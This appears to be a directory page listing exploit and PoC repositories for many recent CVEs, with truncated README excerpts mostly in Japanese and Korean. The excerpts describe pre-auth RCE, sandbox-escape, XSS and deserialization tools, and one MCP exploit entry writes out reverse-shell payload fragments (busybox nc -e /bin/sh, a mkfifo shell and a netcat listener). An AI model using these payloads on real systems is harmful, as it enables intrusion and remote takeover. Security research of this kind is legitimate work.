CVE-2026-33439-PoC

CVE-2026-33439 — OpenAM 事前認証RCE（エコーモード） コマンド出力がHTTPレスポンスに直接返されます — DNS外部送信やOOBは不要です。 逆シリアル化中にアクティブなJATO ThreadLocalのリクエスト/レスポンスへアクセスするため、com.iplanet.jato.RequestManager.getRequestContext を使用します。従来のTomcatエコー手法（Thread.target / ThreadGroup.threads トラバーサル）が失敗するJava 21+で動作します。 前提条件 JDK...

ESPOCRM-RCE-POC-CVE-2026-33656

EspoCRM コマンド 例: ./poc.sh http://192.168.5.16:8090 admin admin id...

CVE-2026-23744-PoC

CVE-2026-23744-PoC MCP RCE エクスプロイト Linux /api/mcp/connect を悪用してリモートコマンド実行を行うPoCです。 要件 pip install requests 使用方法 python3 exploit.py 例: python3 exploit.py mcp.something.com 設定 スクリプト内で編集 attackerip = "YOURIP" port = 4444 リスナー nc -lvnp 4444 ペイロード デフォルト: busybox nc -e /bin/sh フォールバック: rm /tmp/f; mkfif...

CVE-2026-23744

CVE-2026-23744 MCPJam Inspector ライブラリのインストール: pip install -r requirements.txt - 情報を確認するには python CVE-2026-23744 --help を使用 MCPJam inspector は、MCP サーバー向けのローカルファースト開発プラットフォームです。最新バージョン 1.4.2 以前はリモートコード実行（RCE）の脆弱性の影響を受け、攻撃者が細工した HTTP リクエストを送信することで MCP サーバーのインストールがトリガーされ、RCE に至る可能性があります。 この脆弱性は...

CVE-2026-22812-OpenCode-RCE-exp

CVE-2026-22812-OpenCode-RCE-exp 使用方法： java -jar xxx.jar 环境推荐： jdk8...

CVE-2026-23830-SandBreak

SandBreak CVE-2026-23830 エクスプロイト生成 & 自動Pwnツール SandBreak は、SandboxJSエスケープ脆弱性（CVE-2026-23830） を悪用するために設計された、堅牢なGoベースのエクスプロイト生成ツールです。 このツールは、古いバージョンの sandboxjs における保護されていない AsyncFunction コンストラクタを悪用し、攻撃者がV8サンドボックス環境から脱出してホストシステム上で任意のコードを実行できるようにします。Blind OOB Exfiltration 、Defacement 、Error-Based RCE...

CVE-2026-24061-telnet2root

CVE-2026-24061 脆弱性スキャナー＆エクスプロイト 👨‍💻 作成者: Furkan KAYAPINAR @FurkanKAYAPINAR 概要 このリポジトリには、CVE-2026-24061 用の脆弱性スキャナーと対話型エクスプロイトが含まれています。この脆弱性は、inetutils-telnetd（および他のTelnet実装にも影響する可能性があります）が NEW-ENVIRON Telnetオプションを不適切に処理することによって発生し、-f root ペイロードを使用したリモートからの事前認証アクセスを可能にします。 機能 scanner.py :...

EpSiLoNPoInTlnk

README EpSiLoNPoInTlnk CVE-2026-21510 - .LNK ジェネレーター CVE-2026-21510（Windows ShellLink リモートコード実行）の脆弱性を利用した .lnk ファイル生成ツール。 オフェンシブセキュリティ研究、許可されたペネトレーションテスト、脆弱性分析のために設計されています。 法的免責事項 ⚠️ このツールは、合法的かつ許可された用途のみを目的としています。 システムやネットワークに対する不正使用は、現地および国際法（例：Computer Fraud and Abuse Act CFAA、GDPR、フランスの...

CVE-2025-59287

CVE-2025-59287 WSUS CVE-2025-59287 – XML逆シリアライゼーションRCE（リバースシェル） WSUS CVE-2025-59287をXML逆シリアライゼーション経由で悪用し、Windowsリバースシェルを取得するための特化型PoCです。このスクリプトはリバースシェルペイロードのみをサポートします（calcフォールバックはありません）。 対象: WSUSロールを搭載したWindows Server 手法: SOAP + ObjectDataProvider逆シリアライゼーション 結果:...

CVE-2024-38856_Scen

CVE-2024-38856Scen 倫理的な使用のみを目的としています。有害または悪意のある活動は一切許可されません。また、それはすべて自己責任です。CVE-2024-38856: Apache OFBiz リモートコード実行スキャナ & エクスプロイト この問題はApache OFBiz: 18.12.14までに影響します。...

CVE-2021-41773

CVE-2021-41773 Apache2 2.4.49 - LFI & RCE エクスプロイト 情報 Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution RCE Exploit Author: Gaurav Raj https://gauravraj.xyz https://blog.gauravraj.xyz Vendor Homepage: https://apache.org/ Version: 2.4.49 Tested on: 2.4.49 CVE :...

CVE-2026-66066

CVE-2026-66066 — KindaRails2Shell Rails Active Storage/libvips 任意ファイル読み取り → SECRETKEYBASE 窃取 → RCE 概要 CVE-2026-66066 は、Ruby on Rails Active Storage における重大度 CVSS 9.5 の 事前認証 任意ファイル読み取りからリモートコード実行に至るチェーンであり、デフォルト構成の Rails 7.2.0–7.2.3.1 、8.0.0–8.0.5 、8.1.0–8.1.3 に影響を与えます。...

exploit_cms_fuel

Fuel CMS 1.4.1 - 원격 코드 실행 RCE 익스플로잇 이 저장소는 Fuel CMS 버전 1.4.1 에 대한 익스플로잇의 Python 3 구현을 포함합니다. 이 스크립트는 CVE-2018-16763 을 활용하며, 이 취약점은 filter 및 preview 매개변수의 부적절한 입력 검증으로 인해 PHP 코드 평가 및 사전 인증 원격 코드 실행이 가능합니다. ⚠️ 면책 조항 이 도구는 교육 목적과 승인된 침투 테스트 전용입니다. 명시적 허가 없이 시스템에 대해 실행하는 것은 불법입니다. 🛠 기능 Python 3 최적화: 최...

Fortinet-FortiWeb-Fabric-Connector-CVE-2025-25257-Detection

CVE-2025-25257 탐지 엔지니어링 저장소 개요 이 저장소는 Fortinet FortiWeb Fabric Connector 버전 7.0부터 7.6.x까지의 사전 인증 SQL 인젝션 취약점인 CVE-2025-25257 에 대한 프로덕션 준비 탐지 엔지니어링 콘텐츠를 제공합니다. 성공적인 익스플로잇은 사전 인증 없이 원격 코드 실행으로 이어질 수 있습니다. 이 콘텐츠는 방어 목적으로만 사용됩니다. 이는 보안 운영 센터SOC 팀, 탐지 엔지니어, 위협 헌터를 대상으로 합니다. 무기화된 익스플로잇 코드는 포함되어 있지 않습니다...

CVE-2026-7222-XSS

저장형 크로스 사이트 스크립팅 XSS 취약점으로 인한 코칭 관리 시스템 계정 탈취 제품 PHP 기반 코칭 관리 시스템 Code-Projects.org https://code-projects.org/coaching-management-system-in-php-with-source-code/ 영향받는 구성 요소 /modules/student/complaint.php 불만 제출 /modules/admin/incomingcomplaint.php 불만 조회 불만 답변 기능 관리자/교사 → 학생 버전 알 수 없음 공급업체에서 버전 정보를...

React2Shell-PoC-CVE-2025-55182

React2Shell 악용 시뮬레이션 CVE-2025-55182 참고: 이 문서는 학습 및 보안 연구 목적으로만 제공됩니다. 허가 없이 시스템을 공격하는 데 사용하지 마십시오. 1. 개요 CVE-2025-55182는 React2Shell이라고도 불리며, React Server ComponentsRSC에 영향을 미치는 심각한 Remote Code ExecutionRCE 취약점입니다. 클라이언트와 서버 간 통신에 Flight 프로토콜을 사용합니다. 클라이언트가 데이터를 요청하면 서버는 payload를 수신하여 이를 파싱하는데, 이...

CVE-2025-55182-Auto-Scanner

CVE-2025-55182 Scanner는 취약한 Next.js Server Action 엔드포인트를 탐지하기 위한 고성능 도구입니다. 멀티스레드 스캐닝, 신뢰도 기반 탐지 및 여러 응답 지표를 사용하여 잠재적인 원격 코드 실행RCE 취약점을 식별합니다. 특징 고속 동시 스캐닝 신뢰도 기반 취약점 점수화 WAF 우회 페이로드 생성 헤더 및 응답 패턴 분석 실시간 진행 상황 추적 취약한 타겟 자동 저장 작동 방식 스캐너는 다음 단계를 따릅니다: 1. 파일에서 타겟 URL 로드 2. 특수 제작된 페이로드 생성 3. 타겟에 HTTP...

cve-2026-0013-exploit

This repository does not have a README...

CVE-2019-9053

この修正はhttps://tryhackme.com/room/easyctfによるものです : お楽しみください 修正された重大な問題 1. Python 2からPython 3への互換性 旧: print "string" 新: print"string" すべてのprint文をprint関数に変更 文字列フォーマットをf-stringに更新 2. 非推奨のoptparseライブラリ 旧: import optparse 新: import argparse オプション解析システム全体をモダンなargparseに置き換え 適切なヘルプテキストとデフォルト値を追加 3...

CVE-2025-32433-available-for-windows

CVE-2025-32433 취약점 정보: https://nvd.nist.gov/vuln/detail/CVE-2025-32433 POC kdev :: /erlang/CVE-2025-32433 ‹main› » python3 cve-2025-32433.py -h usage: cve-2025-32433.py -h -d --host HOST --port PORT Exploit for CVE-2025-32433 Erlang OTP SSH server. options: -h, --help show this help message and...